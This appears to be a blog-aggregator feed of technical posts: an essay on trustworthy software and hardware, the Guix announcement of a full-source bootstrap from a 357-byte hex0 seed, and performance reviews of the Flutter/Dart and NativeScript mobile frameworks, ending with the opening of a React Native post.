Let’s reflect on some of my recent work that started with understanding Trisquel GNU/Linux, improving transparency into apt-archives, working on reproducible builds of Trisquel, strengthening verification of apt-archives with Sigstore, and finally thinking about security device threat models. A theme in all this is improving methods to have trust in machines, or generally any external entity. While I believe that everything starts by trusting something, usually something familiar and well-known, we need to deal with misuse of that trust that leads to failure to deliver what is desired and expected from the trusted entity. How can an entity behave to invite trust? Let’s argue for some properties that can be quantitatively measured, with a focus on computer software and hardware:
Deterministic Behavior – given a set of circumstances, it should behave the same.
Verifiability and Transparency – the method (the source code) should be accessible for understanding (compare scientific method) and its binaries verifiable, i.e., it should be possible to verify that the entity actually follows the intended deterministic method (implying efforts like reproducible builds and bootstrappable builds).
Accountable – the entity should behave the same for everyone, and deviation should be possible prove in a way that is hard to deny, implying efforts such as Certificate Transparency and more generic checksum logs like Sigstore and Sigsum.
Liberating – the tools and documentation should be available as free software to enable you to replace the trusted entity if so desired. An entity that wants to restrict you from being able to replace the trusted entity is vulnerable to corruption and may stop acting trustworthy. This point of view reinforces that open source misses the point; it has become too common to use trademark laws to restrict re-use of open source software (e.g., firefox, chrome, rust).
Essentially, this boils down to: Trust, Verify and Hold Accountable. To put this dogma in perspective, it helps to understand that this approach may be harmful to human relationships (which could explain the social awkwardness of hackers), but it remains useful as a method to improve the design of computer systems, and a useful method to evaluate safety of computer systems. When a system fails some of the criteria above, we know we have more work to do to improve it.
How far have we come on this journey? Through earlier efforts, we are in a fairly good situation. Richard Stallman through GNU/FSF made us aware of the importance of free software, the Reproducible/Bootstrappable build projects made us aware of the importance of verifiability, and Certificate Transparency highlighted the need for accountable signature logs leading to efforts like Sigstore for software. None of these efforts would have seen the light of day unless people wrote free software and packaged them into distributions that we can use, and built hardware that we can run it on. While there certainly exists more work to be done on the software side, with the recent amazing full-source build of Guix based on a 357-byte hand-written seed, I believe that we are closing that loop on the software engineering side.
So what remains? Some inspiration for further work:
Accountable binary software distribution remains unresolved in practice, although we have some software components around (e.g., apt-sigstore and guix git authenticate). What is missing is using them for verification by default and/or to improve the signature process to use trustworthy hardware devices, and committing the signatures to transparency logs.
Trustworthy hardware to run trustworthy software on remains a challenge, and we owe FSF’s Respect Your Freedom credit for raising awareness of this. Many modern devices requires non-free software to work which fails most of the criteria above and are thus inherently untrustworthy.
Verifying rebuilds of currently published binaries on trustworthy hardware is unresolved.
Completing a full-source rebuild from a small seed on trustworthy hardware remains, preferably on a platform wildly different than X86 such as Raptor’s Talos II.
We need improved security hardware devices and improved established practices on how to use them. For example, while Gnuk on the FST enable a trustworthy software and hardware solution, the best process for using it that I can think of generate the cryptographic keys on a more complex device. Efforts like Tillitis are inspiring here.
Onwards and upwards, happy hacking!
Update 2023-05-03: Added the “Liberating” property regarding free software, instead of having it be part of the “Verifiability and Transparency”.
We are delighted and somewhat relieved to announce that the thirdreduction of the Guix bootstrap binaries has now been merged in themain branch of Guix! If you run guix pull today, you get a packagegraph of more than 22,000 nodes rooted in a 357-byte program—somethingthat had never been achieved, to our knowledge, since the birth of Unix.
We refer to this as the Full-Source Bootstrap. In this post, weexplain what this means concretely. This is a major milestone—if not themajor milestone—in our quest for building everything from source, allthe way down.
How did we get there, and why? In two previousblogposts,we elaborated on why this reduction and bootstrappability in generalis so important.
One reason is to properly address supply chain security concerns. TheBitcoin community was one of the first to recognize its importancewell enough to put the idea into practice. At the Breaking Bitcoinconference 2020, Carl Dong gave a funand remarkably gentleintroduction.At the end of the talk, Carl states:
The holy grail for bootstrappability will be connecting hex0 to mes.
Two years ago, at FOSDEM 2021, I (Janneke)gave a short talk about how wewere planning to continue this quest.
If you think one should always be able to build software from source,then it follows that the “trustingtrust”attack is only a symptom of an incomplete or missing bootstrap story.
The Road to Full-Source Bootstrap
Three years ago, the bootstrap binaries were reduced to just GNUMes andMesCC-Tools (andthe driver to build Guix packages: a staticbuildof GNU Guile 2.0.9).
The new Full-Source Bootstrap, merged in Guix master yesterday,removes the binaries for Mes and MesCC-Tools and replaces them by bootstrap-seeds. For x86-linux (which is also used by the x86\_64-linux build), this means this programhex0-seed, with ASCII-equivalenthex0\_x86.hex0. Hex0 is self-hosting and its source looks like this:
; Where the ELF Header is going to hit ; Simply jump to \_start ; Our main function # :\_start ; (0x8048054) 58 # POP\_EAX ; Get the number of arguments
you can spot two types of line-comment: hex0 (;) and assembly (#).The only program-code in this snippet is 58: two hexidecimal digitsthat are taken as two nibbles and compiled into the corresponding bytewith binary value 58.
Starting from this 357-byte hex0-seed binary provided by thebootstrap-seeds, the stage0-posixpackage created by JeremiahOrians first builds hex0 and then all the way up: hex1, catm, hex2,M0, cc\_x86, M1, M2, get\_machine (that's all of MesCC-Tools), andfinally M2-Planet.
The new GNU Mes v0.24 release can be built withM2-Planet. This time with only a remarkably smallchange, the bottom of the packagegraph now looks like this (woohoo!):
The idea of reproducible builds and bootstrappable software is notverynew.Much of that was implemented for the GNU tools in the early 1990s.Working to recreate it in present time shows us much of that practicewas forgotten.
Most bootstrap problems or loops are not so easy to solve andsometimes there are no obvious answers, for example:
In 2013, the year that ReproducibleBuilds started to gain sometraction, the GNU Compiler Collection releasedversion 4.8.0,making C++ a build requirement, and
While these examples make for a delightful puzzle from abootstrappability perspective, we would love to see the maintainers ofGNU packages consider bootstrappability and start taking moreresponsibility for the bootstrap story of their packages.
Next Steps
Despite this major achievement, there is still work ahead.
First, while the package graph is rooted in a 357-byte program, the setof binaries from which packages are built includes a 25 MiBstatically-linked Guile, guile-bootstrap, that Guix uses as its driverto build the initial packages. 25 MiB is a tenth of what the initialbootstrap binaries use to weigh, but it is a lot compared to those 357bytes. Can we get rid of this driver, and how?
A development effort with Timothy Sample addresses the dependency onguile-bootstrap of Gash andGash-Utils, thepure-Scheme POSIX shell implementation central to our secondmilestone.On the one hand, Mes is gaining a higher level of Guile compatibility:hash table interface, record interface, variables and variable-lookup,and Guile (source) module loading support. On the other hand, Gashand Gash-Utils are getting Mes compatibility for features that Mes islacking (notably syntax-case macros). If we pull this off,guile-bootstrap will only be used as a dependency of bootar and asthe driver for Guix.
Second, the full-source bootstrap that just landed in Guix master islimited to x86\_64-linux and i686-linux, but ARM and RISC-V will bejoining soon. We are most grateful and excited that the NLnetFoundation has decided to continue sponsoring thiswork!
Some time ago, Wladimir van der Laan contributed initial RISC-Vsupport for Mes but a major obstacle for the RISC-V bootstrap is thatthe “vintage” GCC-2.95.3 that was such a helpful stepping stone doesnot support RISC-V. Worse, the RISC-V port of GCC was introduced onlyin GCC 7.5.0—a version that requires C++ and cannot bebootstrapped! To this end, we have been improving MesCC, the Ccompiler that comes with Mes, so it is able tobuild GCC 4.6.5; meanwhile, Ekaitz Zarragabackported RISC-V support to GCC4.6.5, and backported RISC-Vsupport from the latest tcc to ourbootstrappable-tcc.
Outlook
The full-source bootstrap was once deemed impossible. Yet, here we are,building the foundations of a GNU/Linux distro entirely from source, along way towards the ideal that the Guix project has been aiming forfrom thestart.
There are still some daunting tasks ahead. For example, what about theLinux kernel? The good news is that the bootstrappable community hasgrown a lot, from two people six years ago there are now around 100people in the #bootstrappable IRC channel. Interesting times ahead!
About Bootstrappable Builds and GNU Mes
Software is bootstrappable when it does not depend on a binary seedthat cannot be built from source. Software that is notbootstrappable---even if it is free software---is a serious securityrisk (supply chain security)foravarietyofreasons.The Bootstrappable Builds project aimsto reduce the number and size of binary seeds to a bare minimum.
GNU Mes is closely related to theBootstrappable Builds project. Mes is used in the full-sourcebootstrap path for the Guix System.
Currently, Mes consists of a mutual self-hosting scheme interpreterand C compiler. It also implements a C library. Mes, the schemeinterpreter, is written in about 5,000 lines of code of simple C andcan be built with M2-Planet.MesCC, the C compiler, is written in scheme. Together, Mes and MesCCcan compile bootstrappable TinyCCthat is self-hosting. Using this TinyCC and the Mes C library, theentire Guix System for i686-linux and x86\_64-linux is bootstrapped.
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
Good day, gentle hackfolk. Like anold-time fiddler I wouldappear to be deep in the groove, playing endless variations on a theme,in this case mobile application frameworks. But one can only recognizenovelty in relation to the familiar, and today's note is a departure: weare going to look at Flutter, a UI toolkit basednot on JavaScript but on the Dart language.
The present, from the past
Where to start, even? The problem is big enough that I'llapproach it from three different angles: from the past, from the top,and from the bottom.
With the other frameworks we looked at, we didn't have to say much abouttheir use of JavaScript. JavaScript is an obvious choice, in 2023 atleast: it is ubiquitous, has high quality implementations, and as alanguage it is quite OK and progressively getting better. Up to now,"always bet on JS" has had an uninterrupted winning streak.
But winning is not the same as unanimity, and Flutter and Dart representan interesting pole of contestation. To understand how we got here, wehave to go back in time. Ten years ago, JavaScript just wasn't a greatlanguage: there were no modules, no async functions, no destructuring,no classes, no extensible iteration, no optional arguments to functions.In addition it was hobbled with a significant degree of what can only becalled accidental sloppiness: with which can dynamically alter alexical scope, direct eval that can define new local variables,Function.caller, and so on. Finally, larger teams were starting tofeel the need for more rigorous language tooling that could use types toprohibit some classes of invalid programs.
All of these problems in JavaScript have been addressed over the lastdecade, mostly successfully. But in 2010 or so if you were a virtualmachine engineer, you might look at JavaScript and think that in someother world, things could be a lot better. That's effectively whathappened: the team that originally built V8 broke off and started towork on what became Dart.
Initially, Dart was targetted for inclusion in the Chrome web browser asan alternate "native" browser language. This didn't work, for variousreasons, but since then Dart grew the Flutter UI toolkit, which hasbreathed new life into the language. And this is a review of Flutter,not a review of Dart, not really anyway; to my eyes, Dart is spirituallyanother JavaScript, different but in the same family. Dart'simplementation has many interesting aspects as well that we'll get intolater on, but all of these differences are incidental: they could justas well be implemented on top of JavaScript, TypeScript, or anothersource language in that family. Even if Flutter isn't strictly part ofthe JavaScript-based mobile application development frameworks that weare comparing, it is valuable to the extent that it shows what ispossible, and in that regard there is much to say.
Flutter, from the top
At its most basic, Flutter is a UI toolkit for Dart. In many ways it islike React. Like React, its interface follows the functional-reactiveparadigm: programmers describe the "what", and Flutter takes care of the"how". Also, like the phenomenon in which new developers can learnReact without really knowing JavaScript, Flutter is the killer app forDart: Flutter developers mostly learn Dart at the same time that theypick up Flutter.
In some other ways, Flutter is the logical progression of React, goingin the same direction but farther along. Whereas React-on-the-web takesthe user's declarative specifications of what the UI should look likeand lowers them into DOM trees, and React Native lowers them toplatform-native UIwidgets,Flutter has its own built-in layout, rasterization, and compositingengine: Flutter draws all the pixels.
This has the predictable challenge that Flutter has to make significantinvestments so that its applications don't feel out-of-place on theirplatform, but on the other hand it opens up a huge space forexperimentation and potential optimization: Flutter has the potential tobeat native at its own game. Recall that with React Native, the resultof the render-commit-mountprocess is a treeof native widgets. The native platform will surely then perform a kindof layout on those widgets, divide them into layers that correspond toGPU textures, paint those layers, then composite them to the screen --basically, what a web engine willdo.
What if we could instead skip the native tree and go directly to thelower GPU layer? That is the promise of Flutter. Flutter has thepotential to create much more smooth and complex animations than theother application development frameworks we have mentioned, with loweroverhead and energy consumption.
In practice... that's always the question, isn't it? Again, pleaseaccept my usual caveat that I am a compilers guy moonlighting in theuser interface domain, but my understanding is that Flutter mostly livesup to its promise, but with one significant qualification which we'llget to in a minute. But before that, let's traverse Flutter from theother direction, coming up from Dart.
Dart, from the bottom
To explain some aspects of Dart I'm going to tell a just-so story thatmay or may not be true. I know and like many of the Dart developers,and we have similar instincts, so it's probably not too far from thetruth.
Let's say you are the team that originally developed V8, and you decideto create a new language. You write a new virtual machine that lookslike V8, taking Dart source code as input and applying advanced adaptivecompilation techniques to get good performance. You can even be fasterthan JS because your language is just a bit more rigid than JavaScriptis: you have traded off expressivity for performance. (Recall from ourdiscussion ofNativeScriptthat expressivity isn't a value judgment: there can be reasons to payfor more "mathematically appealing operational equivalences", inFelleisen's language, in exchange for applying more constraints on alanguage.)
But, you fail to ship the VM in abrowser;what do you do? The project could die; that would be annoying, but youwork for Google, so it happens all the time. However, a few interestingthings happen around the same time that will cause you to pivot. One isa concurrent experiment by Chrome developers to pare the web platformdown to its foundations and rebuild it. This effort will eventuallybecome Flutter; while it was originally based onJS,eventually they will choose to switch toDart.
The second thing that happens is that recently-invented smart phonesbecome ubiquitous. Most people have one, and the two platforms are iOSand Android. Flutter wants to target them. You are looking for yourniche, and you see that mobile application development might be it. Asthe Flutter people continue to experiment, you start to think about whatit would mean to target mobile devices with Dart.
The initial Dart VM was made toJIT, but as we know, Apple doesn'tlet people do this on iOS. So instead you look to write aquick-and-dirty ahead-of-time compiler, based on your JIT compiler thattakes your program as input, parses and baseline-compiles it, andgenerates an image that can be loaded at runtime. It ships on iOS.Funnily enough, it ships on Android too, because AOT compilation allowsyou to avoid some startup costs; forced to choose between peakperformance via JIT and fast startup via AOT, you choose fast startup.
It's a success, you hit your product objectives, and you start to lookfurther to a proper ahead-of-time compiler native code that can standalone without the full Dart run-time. After all, if you have to compileat build-time, you might as well take the time to do some properoptimizations. Youactually change the language to have a sound typingsystemso that the compiler can make program transformations that are valid aslong as it can rely on the program's types.
Fun fact: I am told that the shift to a sound type system actuallystarted before Flutter and thus before AOT, because of aDart-to-JavaScript compiler that you inherited from the time in whichyou thought the web would be the main target. The Dart-to-JS compilerused to be a whole-program compiler; this enabled it to doflow-sensitive type inference, resulting in faster and smaller emittedJavaScript. But whole-program compilation doesn't scale well in termsof compilation time, so Dart-to-JS switched to separate per-modulecompilation. But then you lose lots of types! The way to recover thefast-and-small-emitted-JS property was through a stronger, sound typesystem for Dart.
At this point, you still have your virtual machine, plus yourahead-of-time compiler, plus your Dart-to-JS compiler. Such riches,such bounty! It is not a bad situation to be in, in 2023: you can offera good development experience via the just-in-time compiled virtualmachine. Apparently you can even use the JIT on iOS in developer mode,because attaching ptrace to a binary allows for native codegeneration. Then when you go to deploy, you make a native binary thatincludes everything.
For the web, you also have your nice story, even nicer than withJavaScript in some ways: because the type checker and ahead-of-timecompiler are integrated in Dart, you don't have to worry about WebPackor Vite or minifiers or uglifiers or TypeScript or JSX or Babel or anyof the other things that JavaScript people are used to. Granted, thetradeoff is that innovation is mostly centralized with the Dartmaintainers, but currently Google seems to be investing enough so that'sOK.
Stepping back, this story is not unique to Dart; many of its scenes alsoplayed out in the world of JavaScript over the last 5 or 10 years aswell. Hermes (andQuickJS, for that matter) doesahead-of-time compilation, albeit only to bytecode, and V8's snapshotfacility is a form of native AOT compilation. But the tooling in theJavaScript world is more diffuse than with Dart. With the perspectiveof developing a new JavaScript-based mobile operating system in mind,the advantages that Dart (and thus Flutter) has won over the years arealso on the table for JavaScript to win. Perhaps even TypeScript couldeventually migrate to have a sound type system, over time; it would takea significant investment but the JS ecosystem does evolve, if slowly.
(Full disclosure: while the other articles in this series were writtenwithout input from the authors of the frameworks under review, throughwhat I can only think was good URL guesswork, a draft copy of thisarticle leaked to Flutter developers. Dart hacker Slava Egorov kindlysent me a mail correcting a number of misconceptions I had about Dart'shistory. Fair play on whoever guessed the URL, and many thanks to Slavafor the corrections; any remaining errors are wholly mine, of course!)
Evaluation
So how do we expect Flutter applications to perform? If we were writing a new mobile OS based on JavaScript, what would it mean in terms of performance to adopt a Flutter-like architecture?
Startup latency
Flutter applications are well-positioned to start fast, withahead-of-time compilation. However they have had problems realizingthis potential, withmany users seeing a big stutter when they launch a Flutter app.
To explain this situation, consider the structure of a typical low-endAndroid mobile device: you have a small number of not-terribly-powerfulCPU cores, but attached to the same memory you also have a decent GPUwith many cores. For example, the SoC in the low-end Moto E7Plus has 8CPU cores and 128 GPU cores (texture shader units). You could paintwidget pixels into memory from either the CPU or the GPU, but you'drather do it in the GPU because it has so many more cores: in the timeit takes to compute the color of a single pixel on the CPU, on the GPUyou could do, like, 128 times as many, given that the comparison isoften between multi-threaded rasterization on the GPU versussingle-threaded rasterization on the CPU.
Flutter has always tried to paint on the GPU. Historically it has doneso via a GPU back-end to the Skia graphics library, notably used byChrome among other projects. But, Skia's API is a drawing API, not aGPU API; Skia is the one responsible for configuring the GPU to drawwhat we want. And here's the problem: configuring the GPU takes time.Skia generates shader code at run-time for rasterizing the specificwidgets used by the Flutter programmer. That shader code then needs tobe compiled to the language the GPU driver wants, which looks more likeVulkan orMetal. The process of compilationand linking takes time, potentially seconds, even.
The solution to "too much startup shader compilation" is much like thesolution to "too much startup JavaScript compilation": move this phaseto build time. The newImpeller rendering librarydoes just that. However to do that, it had to change the way thatFlutter renders: instead of having Skia generate specialized shaders atrun-time, Impeller instead lowers the shapes that it draws to a fixedset of primitives, and then renders those primitives using a smaller,fixed set ofshaders.These primitive shaders are pre-compiled at build time and included inthe binary. By switching to this new renderer, Flutter should be ableto avoid startup jank.
Jank
Of all the application development frameworks we have considered, to mymind Flutter is the best positioned to avoid jank. It has theReact-like asynchronous functional layout model, but "closer to themetal"; by skipping the tree of native UI widgets, it can potentiallyspend less time for each frame render.
When you start up a Flutter app on iOS, the shell of the application isactually written in Objective C++. On Android it's the same, exceptthat it's Java. That shell then creates a FlutterView widget and spawnsa new thread to actually run Flutter (and the user's Dart code).Mostly, Flutter runs on its own, rendering frames to the GPU resourcesbacking the FlutterView directly.
If a Flutter app needs to communicate with the platform, it passesmessages across an asynchronous channel back to the mainthread.Although these messages are asynchronous, this is probably the largestpotential source of jank in a Flutter app, outside the initial framepaint: any graphical update which depends on the answer to anasynchronous call may lag.
Peak performance
Dart's type system and ahead-of-time compiler optimize for predictablegood performance rather than the more variable but potentially higherpeak performance that could be provided by just-in-time compilation.
This story should probably serve as a lesson to any future platform.The people that developed the original Dart virtual machine had abuilt-in bias towards just-in-time compilation, because it allows the VMto generate code that is specialized not just to the program but also tothe problem at hand. A given system with ahead-of-time compilation canalways be made to perform better via the addition of a just-in-timecompiler, so the initial focus was on JIT compilation. On iOS of coursethis was not possible, but on Android and other platforms where this wasavailable it was the default deployment model.
However, even Android switched to ahead-of-time compilation instead ofthe JIT model in order to reduce startup latency: doing any machine codegeneration at all at program startup was more work than was needed toget to the first frame. One could add JIT back again on top of AOT butit does not appear to be a high priority.
What happens if you want to embed a web view into a Flutter app?
If you think on the problem for a moment I suspect you will arrive atthe unsatisfactory answer, which is that for better or for worse, atthis point it is too expensive even for Google to make a new web engine.Therefore Flutter will have to embed the native WebView. HoweverFlutter runs on its own threads; the native WebView has its own processand threads but its interface to the app is tied to the main UI thread.
Therefore either you need to make the native WebView (or indeed anyother native widget) render itself to (a region of) Flutter's GPUbacking buffer, or you need to copy the native widget's pixels intotheir own texture and then composite them in Flutter-land. It's not sonice! TheAndroidandiOSplatform view documentation discuss some of the tradeoffs andmitigations.
Aside: For want of a canvas
There is a very funny situation in the React Native world in which, ifthe application programmer wants to draw to a canvas, they have toembed a whole WebView into the React Nativeappand then proxy the canvas calls into theWebView. Flutteris happily able to avoid this problem, because it includes its owndrawing library with a canvas-like API. Of course, Flutter also has theluxury of defining its own set of standard libraries instead ofnecessarily inheriting them from the web, so when and if they want toprovide equivalent but differently-shaped interfaces, they can do so.
Flutter manages to be more expressive than React Native in this case,without losing much in the way of understandability. Few people willhave to reach to the canvas layer, but it is nice to know it is there.
Conclusion
Dart and Flutter are terribly attractive from an engineeringperspective. They offer a delightful API and a high-performance,flexible runtime with a built-in toolchain. Could this experience bebrought to a new mobile operating system as its primary programminginterface, based on JavaScript? React Native is giving it a try, but Ithink there may be room to take things further to own the applicationfrom the program all the way down to the pixels.
Well, that's all from me on Flutter and Dart for the time being. Nextup, a mystery guest; see you then!
We're only a few articles in to this series on mobile application development frameworks, but I feel like we are already well into our journey. We started our trip through the design space with a look at Ionic /Capacitor,which defines its user interface in terms of the web platform, and onlycalls out to iOS or Android native features as needed. We proceededon to ReactNative,which moves closer to native by rendering to platform-provided UIwidgets, layering a cross-platform development interface on top.
Today's article takes an in-depth look at NativeScript, whose point in the design space is further on the road towardsthe platform, unabashedly embracing the specificities of the APIavailable on iOS and Android, exposing these interfaces directly to theapplication programmer.
In practice what this looks like is that a NativeScript app is a nativeapp which simply happens to call JavaScript on the main UI thread. ThatJavaScript has access to all native APIs, directly, without themediation of serialization or message-passing over a bridge or messagequeue.
The first time I heard this I thought that it couldn't actually be allnative APIs. After all, new versions of iOS and Android come out quitefrequently, and surely it would take some effort on the part ofNativeScript developers to expose the new APIs to JavaScript. But no,it really includes all of the various native APIs: the NativeScriptdevelopers wrote a build-time inspector that uses the platform's nativereflection capabilities to grovel through all available APIs and toautomatically generate JavaScript bindings, with associated TypeScripttype definitions so that the developer knows what is available.
Some of these generated files are checked into source, so you can get anidea of the range of interfaces that are accessible to programmers; forexample, see the iOS type definitions forx86-64.There are bindings for, like, everything.
Given access to all the native APIs, how do you go about making an app?You could write the same kind of programs that you would in Swift orKotlin, but in JavaScript. But this would require more than just theability to access native capabilities when needed: it needs a thoroughknowledge of the platform interfaces, plus NativeScript itself on top.Most people don't have this knowledge, and those that do are probablyprogramming directly in Swift or Kotlin already.
On one level, NativeScript's approach is to take refuge in that mostecumenical of adjectives, "unopinionated". Whereas Ionic / Capacitorencourages use of web platform interfaces, and React Native only reallysupports React as a programming paradigm, NativeScript provides alow-level platform onto which you can layer a number of differenthigh-level frameworks.
Now, most high-level JavaScript application development frameworks areoriented to targetting the web: they take descriptions of userinterfaces and translate them to the DOM. When targetting NativeScript,you could make it so that they target native UI widgets instead.However given the baked-in assumptions of how widgets should be laid out(notably via CSS), there is some impedance-matching to do betweenDOM-like APIs and native toolkits.
NativeScript's answer to this problem is a middle layer: across-platform UIlibrarythat provides DOM-like abstractions and CSS layout in a way that bridgesthe gap between web-like and native. You can even define parts of theUI using a NativeScript-specific XMLvocabulary,which NativeScript compiles to native UI widget calls atrun-time.Of course, there is no CSS engine in UIKit or Android's UI toolkit, soNativeScript includes its own, implemented in JavaScript ofcourse.
You could program directly to this middle layer, but I suspect that itsreal purpose is in enabling Angular, Vue, Svelte, or the like. Thepitch would be that NativeScript lets app developers use pleasanthigh-level abstractions, but while remaining close to the native APIs;you can always drop down for more power and expressiveness if needed.
Diving back down to the low level, as we mentioned all of theinteractions between JavaScript and the native platform APIs happen onthe main application UI thread. NativeScript does also allowprogrammers to create background threads, using an implementation ofthe Web WorkerAPI.One could even in theory run a React-based UI in a worker thread andproxy native UI updates to the main thread; as an unopinionatedplatform, NativeScript can support many different frameworks andparadigms.
Finally, there is the question of how NativeScript runs the JavaScriptin an application. Recall that Ionic / Capacitor uses the native JSengine, by virtue of using the native WebView, and that React Nativeused to use JavaScriptCore on both platforms but now uses its own Hermesimplementation. NativeScript is another point in the design space,using V8 on both platforms. (They used to use JavaScriptCore on iOS butswitched toV8once V8 was able to run on iOS in "jitless" mode.) Besides the reducedmaintenance burden of using a single implementation on all platforms,this also has the advantage of being able to use V8snapshots to moveJavaScript parse-and-compile work to build-time, even on iOS.
Evaluation
NativeScript is fundamentally simple: it's V8 running in anapplication's main UI thread, with access to all platform native APIs.So how do we expect it to perform?
Startup latency
In theory, applications with a NativeScript-like architecture shouldhave no problem with startup time, because they can pre-compile all oftheir JavaScript into V8 snapshots. Snapshots are cheap to load upbecause they are already in a format that V8 is ready to consume.
In practice, it would seem that V8 snapshots do not perform as expectedforNativeScript.There are a number of aspects about this situation that I don'tunderstand, which I suspect relate to the state of the tooling around V8rather than to the fundamental approach of ahead-of-time compilation.V8 is really made for Chrome, and it could be that not enoughmaintenance resources have been devoted to this snapshot facility.
In the meantime, NativeScript instead uses V8's code cachefeature, which caches the result ofparsing and compiling JavaScript files on the device. In this way thefirst time an app is installed or updated, it might start up slowly, butsubsequent runs are faster. If you were designing a new operatingsystem, you'd probably want to move this work to app install-time.
As we mentioned above, NativeScript apps have access to all native APIs.That is a lot of APIs, and only some of those interfaces will actuallybe used by any given app. In an ideal world, we would expect the buildprocess to only include JavaScript code for those APIs that are neededby the application. However in the presence of eval and dynamicproperty lookup, pruning the native API surface to the precise minimumis a hard problem for a bundler to perform on its own. The solution forthe time being is to manually allow and deny subsets of the platformnativeAPI.It's not an automatic process though, so it can be error-prone.
Besides the work that the JavaScript engine has to do to load anapplication's code, the other startup overhead involves whatever workthat JavaScript might need to perform before the first frame is shown.In the case of NativeScript, more work is done before the initial layoutthan one would think: the main UI XML file is parsed by an XML parserwritten in JavaScript, any needed CSS files are parsed and loaded (againby JavaScript), and the tree of XML elements is translated to a tree ofUIelements.The layout of the items in the view tree is then computed (inJavaScript, but calling into native code to measure text and so on), andthen the app is ready.
At this point, I am again going to wave my "I am just a compilerengineer" flag: I am not a UI specialist, much less a NativeScriptspecialist. As in compilers, performance measurement and monitoring arekey to UI development, but I suspect that also as in compilers there isa role for gut instinct. Incremental improvements are best driven bymetrics, but qualitative leaps are often the result of somewhatineffable hunches or even guesswork. In that spirit I can only surmisethat React Native has an advantage over NativeScript intime-to-first-frame, because its layout is performed in C++ and becauseits element tree is computed directly from JavaScript instead of havingJavaScript interpret XML and CSS files. In any case, I look forward tothe forthcoming part 2 of the NativeScript and React Native performanceinvestigationsthat were started in November 2022.
If I were NativeScript and using NativeScript's UI framework, and ifstartup latency proves to actually be a problem, I would lean intosomething in the shape of Angular's ahead-of-time compilationmode, but for the middleNativeScript UI layer.
Jank
On the face of it, NativeScript is the most jank-prone of the threeframeworks we have examined, because it runs JavaScript on the mainapplication UI thread, interleaved with UI event handling and paintingand all of that. If an app's JavaScript takes too long to run, the appmight miss frames or fail to promptly handle an event.
On the other hand, relative to React Native, the user's code is muchcloser to the application's behavior. There's no asynchrony between theapplication's logic and its main loop: in NativeScript it is easy toidentify the code causing jank and eventually fix it.
The other classic JavaScript-on-the-main-thread worry relates to garbagecollection pauses. V8's garbage collector does try to minimize thestop-the-world phase by tracing the heap concurrently and leveragingparallelism during pauses. Also, theuser interface of a mobile app runs in an event loop, and typicallyspends most of its time idle; V8 exposes some API that can takeadvantage of this idle time to perform housekeeping tasks instead ofneeding to do them when handling high-priority events.
That said, having looked into the code of both the iOS and Androidrun-times, NativeScript does not currently take advantage of thisfacility. I dug deeper and it would seem that V8 itself is in flux, asthe IdleNotificationDeadlineAPIis on its way out; is the thought that concurrent tracing is largelysufficient? I would expect that if conservative stackscanninglands, we will see a re-introduction of this kind of API, as it doesmake sense to synchronize with the event loop when scanning the mainthread stack.
Peak performance
As we have seen in our previous evaluations, this question boils down to"is the JavaScript engine state-of-the-art, and can it performjust-in-time compilation". In the case of NativeScript, the answers areyes and maybe, respectively: V8 is state-of-the-art, and it can JIT onAndroid, but not on iOS.
Perhaps the mitigation here is that the hardware that iOS runs on tendsto be significantly more powerful than median Android devices; if youhad to pick a subset of users to penalize with an interpreter-onlyrun-time, people with iPhones are the obvious choice, because they canafford it.
Aside: Are markets wise?
Recall that our perspective in this series is that of the designer of anew JavaScript-based mobile development platform. We are trying toanswer the question of what would it look like if a new platform offereda NativeScript-like experience. In this regard, only the structure ofNativeScript is of interest, and notably its "market success" is notrelevant, except perhaps in some Hayekian conception of the world in whichmarkets are necessarily smarter than, well, me, or you, or any one ofus.
It must be said, though, that React Native is the 800-pound gorilla ofJavaScript mobile application development. The 2022 State of JSsurveyshows that among survey respondents, more people are aware of ReactNative than any other mobile framework, and people are generally morepositive about React Native than other frameworks. Does NativeScript'smitigated market share indicate something about its architecture, ordoes it speak speak more to the size of Facebook's budget, both on thedeveloper experience side and on marketing?
Aside: On the expressive power of application framworks
In this paper, Matthias Felleisen considers the notion of what it meansfor one programming language to be more expressive than another. Forexample, is a language with just for less expressive than a languagewith both for and while? Intuitively we would say no, these aresimilar things; you can make a simple local transformation of while (x) {...} to for (;x;) {...} and you have exactly the same programsemantics. On the other hand a language with just for is lessexpressive than one which also has goto; there is no simple localrewrite that can turn goto into for.
In the same way, we can consider the question of what it would mean forone library to be more expressive than another. After all, the API of alibrary exposes a language in which its user can write programs; weshould be able to reason about these languages. So between React Nativeand NativeScript, which one is more expressive?
By Felleisen's definitions, NativeScript is clearly the more expressivelanguage: there is no simple local transformation that can turnimperative operations on native UI widgets into equivalentfunctional-reactive programs. Yes, with enough glue code React Nativecan reach directly to native APIs in a similar way as NativeScript, buteverything that touches the native UI tree is expressly under ReactNative's control: there is no sanctioned escape hatch.
You might think that "more expressive" is always better, but Felleisen'stake is more nuanced than that. Yes, he says, more expressive languagesdo allow programmers to make more concise programs, because they allowprogrammers to define abstractions that encapsulate patterns, and thisis a good thing. However he also concludes that "an increase inexpressive power is related to a decrease of the set of 'natural'(mathematically appealing) operational equivalences." Less expressiveprogramming languages are easier to reason about, in general, and indeedthat is one of the recognized strengths of React's programming model: itis easy to compose components and have confidence that the result willwork.
Summary
A NativeScript-like architecture offers the possibility of performance:the developer has all the capabilities needed for writingpleasant-to-use applications that blend in with the platform-nativeexperience. It is up to the developers to choose how to use the powerat their disposal. In the wild, I expect that the low-level layer ofNativeScript's API is used mainly by expert developers, who know how toassemble well-functioning machines from the parts on offer.
As a primary programming interface for a new JavaScript-based mobileplatform, though, just providing a low-level API would seem to be notenough. NativeScript rightly promotes the use of more well-knownhigh-level frameworks on top: Angular, Vue, Svelte, and such. Lessexperienced developers should use an opinionated high-level UIframework; these developers don't have good opinions yet and the APIshould lead them in the right direction.
That's it for today. Thanks for reading these articles, by the way; Ihave enjoyed diving into this space. Next up, we'll take a look beyondJavaScript, to Flutter and Dart. Until then, happy hacking!
Hey hey! Today's missive continues exploring the space of JavaScriptand mobile application development.
Yesterday we looked into Ionic / Capacitor, giving a briefstructural overview of what Capacitor apps look like under the hood andhow this translates to three aspects of performance: startup latency, jank,and peak performance. Today we'll apply that same approach to anotherpopular development framework, React Native.
